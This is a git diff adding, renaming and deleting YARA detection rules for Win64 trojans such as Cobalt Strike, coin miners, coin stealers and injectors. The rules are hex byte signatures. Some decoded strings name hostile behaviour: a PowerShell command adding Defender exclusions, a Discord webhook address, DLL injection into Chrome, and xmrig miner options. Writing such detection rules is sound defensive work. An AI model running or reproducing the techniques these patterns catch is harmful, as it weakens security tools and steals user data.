b/Trojan/Win64/CobaltStrike/Trojan_Win64_Cobaltstrike_RUS_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_Win64_Cobaltstrike_RUS_MTB{ +rule Trojan_Win64_CobaltStrike_RUS_MTB{ meta: - description = "Trojan:Win64/Cobaltstrike.RUS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + description = "Trojan:Win64/CobaltStrike.RUS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " strings : $a_01_0 = {48 8d 6c 24 40 48 89 4d e8 48 89 55 f0 66 c7 45 f8 01 00 48 8d 4d e8 e8 5f 2e 04 00 } //1 @@ -9,9 +9,9 @@ rule Trojan_Win64_Cobaltstrike_RUS_MTB{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_Win64_Cobaltstrike_RUS_MTB_2{ +rule Trojan_Win64_CobaltStrike_RUS_MTB_2{ meta: - description = "Trojan:Win64/Cobaltstrike.RUS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + description = "Trojan:Win64/CobaltStrike.RUS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " strings : $a_03_0 = {49 c1 e0 3a 49 c1 e2 34 4d 09 c2 49 c1 e3 2e 4d 09 d3 49 c1 e7 28 4d 09 df 48 c1 e2 22 4c 09 fa 48 c1 e5 1c 48 09 d5 48 c1 e1 16 48 09 e9 48 c1 e6 10 48 09 ce ba 08 00 00 00 31 c9 49 89 c0 e8 ?? ?? ?? ?? 48 0f ce 48 89 74 24 } //1 diff --git a/Trojan/Win64/Cobeacon/Trojan_Win64_Cobeacon_MBWJ_MTB.yar b/Trojan/Win64/Cobeacon/Trojan_Win64_Cobeacon_MBWJ_MTB.yar new file mode 100644 index 0000000000..41b49852ae --- /dev/null +++ b/Trojan/Win64/Cobeacon/Trojan_Win64_Cobeacon_MBWJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Cobeacon_MBWJ_MTB{ + meta: + description = "Trojan:Win64/Cobeacon.MBWJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {2e 72 64 61 74 61 00 00 44 4a 01 00 00 c0 03 00 00 4c 01 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 04 00 00 00 10 05 00 00 02 00 00 00 fc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 } //2 + $a_01_1 = {65 78 74 00 00 00 37 aa 03 00 00 10 00 00 00 ac 03 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_ASTA_MTB.yar b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_ASTA_MTB.yar new file mode 100644 index 0000000000..f303fc7e8e --- /dev/null +++ b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_ASTA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_CoinMiner_ASTA_MTB{ + meta: + description = "Trojan:Win64/CoinMiner.ASTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {4d 8b c5 48 83 3d ?? ?? ?? ?? 0f 4c 0f 47 05 ?? ?? ?? ?? 33 d2 48 8b c1 48 f7 35 ?? ?? ?? ?? 49 03 d0 4c 8d 44 24 50 48 83 7c 24 68 0f 4c 0f 47 44 24 50 0f b6 02 41 32 04 09 41 88 04 08 48 ff c1 49 3b ca 72 } //5 + $a_01_1 = {5c 53 61 70 70 68 69 72 65 5f 4d 69 6e 65 72 5f 53 6f 75 72 63 65 5c 53 61 70 70 68 69 72 65 43 6c 69 65 6e 74 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 53 61 70 70 68 69 72 65 43 6c 69 65 6e 74 2e 70 64 62 } //1 \Sapphire_Miner_Source\SapphireClient\x64\Release\SapphireClient.pdb + $a_01_2 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 20 22 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 72 6f 63 65 73 73 20 27 63 6d 64 2e 65 78 65 27 3b 20 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 27 43 3a 5c 27 22 } //1 powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'" + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_BSA_MTB.yar b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_BSA_MTB.yar deleted file mode 100644 index 4fcba32d1d..0000000000 --- a/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_BSA_MTB.yar +++ /dev/null @@ -1,18 +0,0 @@ - -rule Trojan_Win64_CoinMiner_BSA_MTB{ - meta: - description = "Trojan:Win64/CoinMiner.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 08 00 00 " - - strings : - $a_01_0 = {55 73 61 67 65 3a 20 78 6d 72 69 67 20 5b 4f 50 54 49 4f 4e 53 5d } //10 Usage: xmrig [OPTIONS] - $a_01_1 = {65 6e 61 62 6c 65 20 6e 69 63 65 68 61 73 68 2f 78 6d 72 69 67 2d 70 72 6f 78 79 } //6 enable nicehash/xmrig-proxy - $a_01_2 = {63 72 79 70 74 6f 6e 69 67 68 74 } //1 cryptonight - $a_01_3 = {63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 74 65 } //2 cryptonight-lite - $a_01_4 = {63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 67 68 74 } //2 cryptonight-light - $a_01_5 = {6d 61 78 69 6d 75 6d 20 43 50 55 20 75 73 61 67 65 20 66 6f 72 20 61 75 74 6f 6d 61 74 69 63 20 74 68 72 65 61 64 73 6d 6f 64 65 } //3 maximum CPU usage for automatic threadsmode - $a_01_6 = {70 72 69 6e 74 20 68 61 73 68 72 61 74 65 20 72 65 70 6f 72 74 20 65 76 65 72 79 20 4e 20 73 65 63 6f 6e 64 73 } //4 print hashrate report every N seconds - $a_01_7 = {70 6f 72 74 20 66 6f 72 20 74 68 65 20 6d 69 6e 65 72 20 41 50 49 } //5 port for the miner API - condition: - ((#a_01_0 & 1)*10+(#a_01_1 & 1)*6+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*3+(#a_01_6 & 1)*4+(#a_01_7 & 1)*5) >=27 - -} \ No newline at end of file diff --git a/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_KK_MTB.yar b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_KK_MTB.yar new file mode 100644 index 0000000000..e92b8c4ccc --- /dev/null +++ b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_KK_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_CoinMiner_KK_MTB{ + meta: + description = "Trojan:Win64/CoinMiner.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {76 00 70 00 70 00 65 00 70 00 7a 00 7d 00 7f 00 60 00 0f 00 7e 00 62 00 61 00 60 00 67 00 60 00 13 00 14 00 12 00 1b 00 6e 00 27 00 5b 00 00 00 67 42 5b 7d 57 4e 5e 4e 7e 4c 56 34 28 21 22 28 } //6 + $a_03_1 = {8b c2 c1 e8 1f 03 d0 0f b7 c2 6b d0 ?? 41 0f b7 c2 41 ff c2 66 2b c2 66 83 c0 ?? 66 31 41 fe 41 83 fa 1d } //2 + $a_03_2 = {4c 8d 85 a8 04 00 00 49 83 fb 0f 4d 0f 47 c2 49 8b cd 48 83 3d ?? 0e 05 00 0f 48 0f 47 0d ?? ?? 05 00 33 d2 49 8b c1 48 f7 35 ?? ?? 05 00 48 03 d1 48 8d 8d 38 05 00 00 48 83 bd 50 05 00 00 0f 48 0f 47 8d 38 05 00 00 43 0f b6 04 08 32 02 42 88 04 09 49 ff c1 4c 3b cb } //3 + $a_01_3 = {78 61 69 38 33 30 6b 2e 63 6f 6d } //1 xai830k.com + condition: + ((#a_01_0 & 1)*6+(#a_03_1 & 1)*2+(#a_03_2 & 1)*3+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_PPCD_MTB.yar b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_PPCD_MTB.yar new file mode 100644 index 0000000000..079a6e0683 --- /dev/null +++ b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_PPCD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_CoinMiner_PPCD_MTB{ + meta: + description = "Trojan:Win64/CoinMiner.PPCD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {48 89 44 24 60 48 8b 44 24 60 8b 40 10 48 8b 4c 24 60 8b 49 14 48 8b 94 24 30 01 00 00 48 03 d1 48 8b ca 48 8b 54 24 60 8b 52 0c 4c 8b 44 24 68 4c 03 c2 49 8b d0 48 c7 44 24 20 00 00 00 00 44 8b c8 4c 8b c1 48 8b 4c 24 78 ff 15 } //4 + $a_01_1 = {41 b9 20 00 00 00 44 8b c0 48 8b d1 48 8b 4c 24 78 ff 15 } //2 + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_SX_MTB.yar b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_SX_MTB.yar new file mode 100644 index 0000000000..90143a348e --- /dev/null +++ b/Trojan/Win64/CoinMiner/Trojan_Win64_CoinMiner_SX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_CoinMiner_SX_MTB{ + meta: + description = "Trojan:Win64/CoinMiner.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 03 00 00 " + + strings : + $a_03_0 = {48 c7 44 24 38 08 00 00 00 48 8b 44 24 38 48 89 44 24 48 48 c7 44 24 40 00 00 00 00 48 8d 44 24 40 48 89 44 24 20 4c 8b 4c 24 48 4c 8d 44 24 78 48 8b 54 24 50 48 8b 84 24 80 00 00 00 48 8b 08 ff 15 ?? ?? ?? ?? 85 c0 75 17 } //20 + $a_03_1 = {48 c7 c0 ff ff ff ff e9 ?? ?? ?? ?? c7 44 24 78 00 00 00 00 48 c7 44 24 20 00 00 00 00 4c 8d 4c 24 78 44 8b 84 24 b0 00 00 00 48 8b 94 24 a8 00 00 00 48 8b 4c 24 60 ff 15 ?? ?? ?? ?? 85 c0 75 46 } //20 + $a_01_2 = {57 6b 44 44 48 69 54 68 78 7a 61 76 } //10 WkDDHiThxzav + condition: + ((#a_03_0 & 1)*20+(#a_03_1 & 1)*20+(#a_01_2 & 1)*10) >=50 + +} \ No newline at end of file diff --git a/Trojan/Win64/Coinstealer/Trojan_Win64_CoinStealer_SX_MTB.yar b/Trojan/Win64/Coinstealer/Trojan_Win64_CoinStealer_SX_MTB.yar new file mode 100644 index 0000000000..a64a4beab9 --- /dev/null +++ b/Trojan/Win64/Coinstealer/Trojan_Win64_CoinStealer_SX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_CoinStealer_SX_MTB{ + meta: + description = "Trojan:Win64/CoinStealer.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_03_0 = {49 8b 0e 4c 8d 45 60 48 8d 95 c0 00 00 00 ff 15 ?? ?? ?? ?? 0f 57 c0 0f 11 85 c0 00 00 00 48 8b df 48 89 9d d0 00 00 00 41 bc 0f 00 00 00 } //5 + $a_01_1 = {48 8b d8 48 8d 8d 28 02 00 00 48 83 bd 40 02 00 00 0f 48 0f 47 8d 28 02 00 00 48 ff c7 44 38 24 39 75 f7 48 8d 95 28 02 00 00 48 83 bd 40 02 00 00 0f 48 0f 47 95 28 02 00 00 4c 89 64 24 20 4c 8d 8d a8 01 00 00 44 8b c7 48 8b cb } //3 + $a_03_2 = {f3 0f 6f 8c 08 ?? ?? ?? ?? f3 0f 6f 84 05 a0 00 00 00 0f 57 c8 f3 0f 7f 8c 05 a0 00 00 00 48 83 c0 10 48 83 f8 70 7c d8 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*3+(#a_03_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Convagent/Trojan_Win64_Convagent_ARAX_MTB.yar b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_ARAX_MTB.yar new file mode 100644 index 0000000000..9a73a14d6b --- /dev/null +++ b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_ARAX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Convagent_ARAX_MTB{ + meta: + description = "Trojan:Win64/Convagent.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {f7 e9 c1 fa 04 8b c2 c1 e8 1f 03 d0 0f be c2 6b d0 36 0f b6 c1 2a c2 04 38 41 30 00 ff c1 4d 8d 40 01 83 f9 0f 7c d4 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Convagent/Trojan_Win64_Convagent_A_MTB.yar b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_A_MTB.yar new file mode 100644 index 0000000000..bb011311ab --- /dev/null +++ b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_A_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Convagent_A_MTB{ + meta: + description = "Trojan:Win64/Convagent.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {4d 8b ad d8 03 00 00 49 83 ef 01 73 f3 6a 01 58 48 89 85 c0 01 00 00 45 31 ff 45 31 c0 eb 29 } //1 + $a_80_1 = {43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 } //Convert]::FromBase64String( 1 + condition: + ((#a_01_0 & 1)*1+(#a_80_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Convagent/Trojan_Win64_Convagent_GTM_MTB.yar b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_GTM_MTB.yar new file mode 100644 index 0000000000..9cf57fe58a --- /dev/null +++ b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_GTM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Convagent_GTM_MTB{ + meta: + description = "Trojan:Win64/Convagent.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {64 65 2e 0d ?? ?? ?? ?? 00 00 00 00 00 00 27 33 c6 ce 63 52 ?? 9d 63 52 ?? 9d 63 52 ?? 9d 6a 2a 3b 9d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Convagent/Trojan_Win64_Convagent_MX_MTB.yar b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_MX_MTB.yar new file mode 100644 index 0000000000..1587ae0ac7 --- /dev/null +++ b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_MX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Convagent_MX_MTB{ + meta: + description = "Trojan:Win64/Convagent.MX!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 89 78 10 48 c7 40 18 0f 00 00 00 40 88 38 48 8d 54 24 40 66 48 0f 7e c1 66 0f 6f c1 66 0f 73 d8 08 66 48 0f 7e c0 48 83 f8 0f 48 0f 47 d1 66 49 0f 7e c8 48 8d 8d 50 01 } //1 + $a_01_1 = {64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 77 65 62 68 6f 6f 6b 73 } //1 discord.com/api/webhooks + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Convagent/Trojan_Win64_Convagent_NL_MTB.yar b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_NL_MTB.yar new file mode 100644 index 0000000000..a037cb90bf --- /dev/null +++ b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_NL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Convagent_NL_MTB{ + meta: + description = "Trojan:Win64/Convagent.NL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {48 83 ec 60 48 8d 6c 24 ?? 48 89 4d f0 48 89 55 f8 48 8d 45 f0 48 89 45 c0 48 c7 45 c8 01 00 00 00 48 c7 45 d0 08 00 00 00 0f 57 c0 0f 11 45 d8 4c 8d 05 28 34 11 00 48 8d 4d c0 31 d2 e8 0d ff ff ff } //2 + $a_03_1 = {8b 45 f8 48 8b 50 08 48 85 d2 74 0d 4c 8b 40 10 48 8b 4d e8 e8 79 4c ad ff ba ?? 00 00 00 41 b8 ?? 00 00 00 48 8b 4d e0 e8 65 4c ad ff 31 c0 48 83 c4 48 5e 5d } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Convagent/Trojan_Win64_Convagent_NR_MTB.yar b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_NR_MTB.yar new file mode 100644 index 0000000000..317750fd0c --- /dev/null +++ b/Trojan/Win64/Convagent/Trojan_Win64_Convagent_NR_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_Convagent_NR_MTB{ + meta: + description = "Trojan:Win64/Convagent.NR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_01_0 = {48 c7 85 b8 00 00 00 1f 00 00 00 0f 10 05 a3 bf 02 00 0f 11 00 f2 0f 10 05 a8 bf 02 00 f2 0f 11 40 10 0f b7 0d a4 bf 02 00 66 89 48 18 0f b6 0d 9b bf 02 00 88 48 1a c6 40 1b 00 80 3d 33 2c 04 00 00 0f 84 93 00 00 00 } //2 + $a_01_1 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 20 6f 66 20 44 4c 4c 20 70 61 74 68 20 74 6f 20 72 65 6d 6f 74 65 20 61 64 64 72 65 73 73 } //1 WriteProcessMemory of DLL path to remote address + $a_01_2 = {44 4c 4c 20 69 6e 6a 65 63 74 65 64 } //1 DLL injected + $a_01_3 = {44 4c 4c 20 64 65 63 72 79 70 74 69 6f 6e 20 74 61 73 6b 73 20 74 6f 20 63 6f 6d 70 6c 65 74 65 } //1 DLL decryption tasks to complete + $a_01_4 = {63 00 68 00 72 00 6f 00 6d 00 65 00 5f 00 69 00 6e 00 6a 00 65 00 63 00 74 00 2e 00 65 00 78 00 65 00 } //1 chrome_inject.exe + $a_01_5 = {63 00 68 00 72 00 6f 00 6d 00 65 00 5f 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 2e 00 64 00 6c 00 6c 00 } //1 chrome_decrypt.dll + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/Crypt/Trojan_Win64_Crypt_SXA_MTB.yar b/Trojan/Win64/Crypt/Trojan_Win64_Crypt_SXA_MTB.yar new file mode 100644 index 0000000000..a1ba8f432f --- /dev/null +++ b/Trojan/Win64/Crypt/Trojan_Win64_Crypt_SXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Crypt_SXA_MTB{ + meta: + description = "Trojan:Win64/Crypt.SXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0f b6 c9 0f 57 c9 f3 48 0f 2a c9 f3 41 0f 59 ca 8b c8 c1 e9 ?? 0f b6 c9 0f 57 d2 f3 48 0f 2a d1 f3 41 0f 59 d2 c1 e8 ?? 0f 57 db f3 48 0f 2a d8 f3 41 0f 59 da } //3 + $a_03_1 = {48 8b 14 13 48 8b 0d ?? ?? ?? ?? ff 15 ?? ?? ?? ?? 48 8d 84 24 80 00 00 00 48 89 44 24 20 41 b9 ?? ?? ?? ?? 4c 8b c7 48 8b 54 24 30 48 8b 14 13 48 8b 0d ?? ?? ?? ?? ff 15 ?? ?? ?? ?? ff c6 48 8d 5b 08 48 8b 4c 24 38 4c 8b 54 24 30 49 2b ca 48 c1 f9 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_AHD_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_AHD_MTB.yar new file mode 100644 index 0000000000..1143158aa2 --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_AHD_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_CryptInject_AHD_MTB{ + meta: + description = "Trojan:Win64/CryptInject.AHD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 05 00 00 " + + strings : + $a_03_0 = {8b 45 fc 48 63 d0 48 8b 45 10 48 01 d0 0f b6 10 8b 45 fc 48 63 c8 48 8b 45 10 48 01 c8 83 f2 ?? 88 10 83 45 fc 01 8b 45 fc 3b 45 18 7c } //20 + $a_01_1 = {8b 45 f8 c1 e0 04 89 c2 8b 45 f4 09 d0 88 45 e9 0f b6 45 e9 83 f0 31 89 c1 8b 45 fc 48 63 d0 48 8b 45 18 48 01 d0 89 ca 88 10 83 45 fc 01 8b 45 fc 3b 45 ec 0f } //20 + $a_01_2 = {8b 45 f0 89 c2 c1 ea 1f 01 d0 d1 f8 89 45 ec 8b 45 ec 3b 45 20 7c } //30 + $a_01_3 = {8b 45 f8 89 c2 c1 ea 1f 01 d0 d1 f8 89 45 f4 8b 45 f4 3b 45 20 7e } //30 + $a_01_4 = {33 34 31 37 30 37 39 37 63 37 30 35 35 37 30 37 30 35 36 37 30 37 32 36 30 37 30 35 35 35 36 37 33 35 38 37 30 37 39 37 63 37 30 37 38 37 30 37 33 30 38 37 30 37 30 30 63 30 63 31 36 31 33 } //5 34170797c7055707056707260705556735870797c707870730870700c0c1613 + condition: + ((#a_03_0 & 1)*20+(#a_01_1 & 1)*20+(#a_01_2 & 1)*30+(#a_01_3 & 1)*30+(#a_01_4 & 1)*5) >=55 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_BSA_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_BSA_MTB.yar index c8d2241948..24ecc634e6 100644 --- a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_BSA_MTB.yar +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_BSA_MTB.yar @@ -10,6 +10,18 @@ rule Trojan_Win64_CryptInject_BSA_MTB{ } rule Trojan_Win64_CryptInject_BSA_MTB_2{ + meta: + description = "Trojan:Win64/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 03 00 00 " + + strings : + $a_01_0 = {48 61 72 6e 73 2e 64 6c 6c } //30 Harns.dll + $a_01_1 = {4c 8b 41 10 41 8b 40 38 c1 e8 04 a8 01 75 0b 48 8b d1 49 8b c8 } //10 + $a_01_2 = {45 33 c0 33 c9 41 8d 50 02 e9 8a ff } //10 + condition: + ((#a_01_0 & 1)*30+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10) >=50 + +} +rule Trojan_Win64_CryptInject_BSA_MTB_3{ meta: description = "Trojan:Win64/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 00 " @@ -20,7 +32,7 @@ rule Trojan_Win64_CryptInject_BSA_MTB_2{ ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10) >=20 } -rule Trojan_Win64_CryptInject_BSA_MTB_3{ +rule Trojan_Win64_CryptInject_BSA_MTB_4{ meta: description = "Trojan:Win64/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 00 " @@ -31,7 +43,7 @@ rule Trojan_Win64_CryptInject_BSA_MTB_3{ ((#a_03_0 & 1)*10+(#a_03_1 & 1)*2) >=12 } -rule Trojan_Win64_CryptInject_BSA_MTB_4{ +rule Trojan_Win64_CryptInject_BSA_MTB_5{ meta: description = "Trojan:Win64/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 02 00 00 " @@ -42,7 +54,7 @@ rule Trojan_Win64_CryptInject_BSA_MTB_4{ ((#a_03_0 & 1)*11+(#a_01_1 & 1)*10) >=21 } -rule Trojan_Win64_CryptInject_BSA_MTB_5{ +rule Trojan_Win64_CryptInject_BSA_MTB_6{ meta: description = "Trojan:Win64/CryptInject.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 06 00 00 " diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_CCJX_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_CCJX_MTB.yar new file mode 100644 index 0000000000..bba0a43056 --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_CCJX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_CryptInject_CCJX_MTB{ + meta: + description = "Trojan:Win64/CryptInject.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 85 c0 03 00 00 41 b8 02 00 00 00 ba 00 00 00 00 48 89 c1 e8 7f 1b 00 00 48 8b 85 c0 03 00 00 48 89 c1 e8 78 1b 00 00 89 85 bc 03 00 00 48 8b 85 c0 03 00 00 41 b8 00 00 00 00 ba 00 00 00 00 48 89 c1 e8 50 1b 00 00 8b 85 bc 03 00 00 48 98 48 89 c1 e8 18 1c 00 00 } //1 + $a_01_1 = {48 63 d0 48 8b 85 b0 03 00 00 48 01 d0 0f b6 10 8b 85 cc 03 00 00 48 63 c8 48 8b 85 b0 03 00 00 48 01 c8 83 f2 55 88 10 83 85 cc 03 00 00 01 8b 85 cc 03 00 00 3b 85 } //5 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*5) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_CCJZ_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_CCJZ_MTB.yar new file mode 100644 index 0000000000..513f705a2b --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_CCJZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CryptInject_CCJZ_MTB{ + meta: + description = "Trojan:Win64/CryptInject.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {57 48 83 ec 20 41 8b d9 49 8b f8 48 8b f2 48 8b e9 e8 ?? ?? ?? ?? 48 8b 0d ?? ?? ?? ?? 45 33 c0 ba 01 00 00 00 48 8d 81 ?? ?? ?? ?? ff d0 48 8b 05 ?? ?? ?? ?? 44 8b cb 48 05 ?? ?? ?? ?? 4c 8b c7 48 8b d6 48 8b cd 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 83 c4 20 5f 48 ff e0 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_C_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_C_MTB.yar new file mode 100644 index 0000000000..f56918a80e --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_C_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CryptInject_C_MTB{ + meta: + description = "Trojan:Win64/CryptInject.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {49 8b 0f 48 8d 81 ?? ?? ?? ?? ba 01 00 00 00 45 31 c0 ff d0 b8 ?? ?? ?? ?? 49 03 07 4c 89 f1 48 89 da 49 89 f8 41 89 f1 48 83 c4 20 5b 5f 5e 41 5e 41 5f 48 ff e0 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_GKV_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_GKV_MTB.yar new file mode 100644 index 0000000000..07821bc448 --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_GKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CryptInject_GKV_MTB{ + meta: + description = 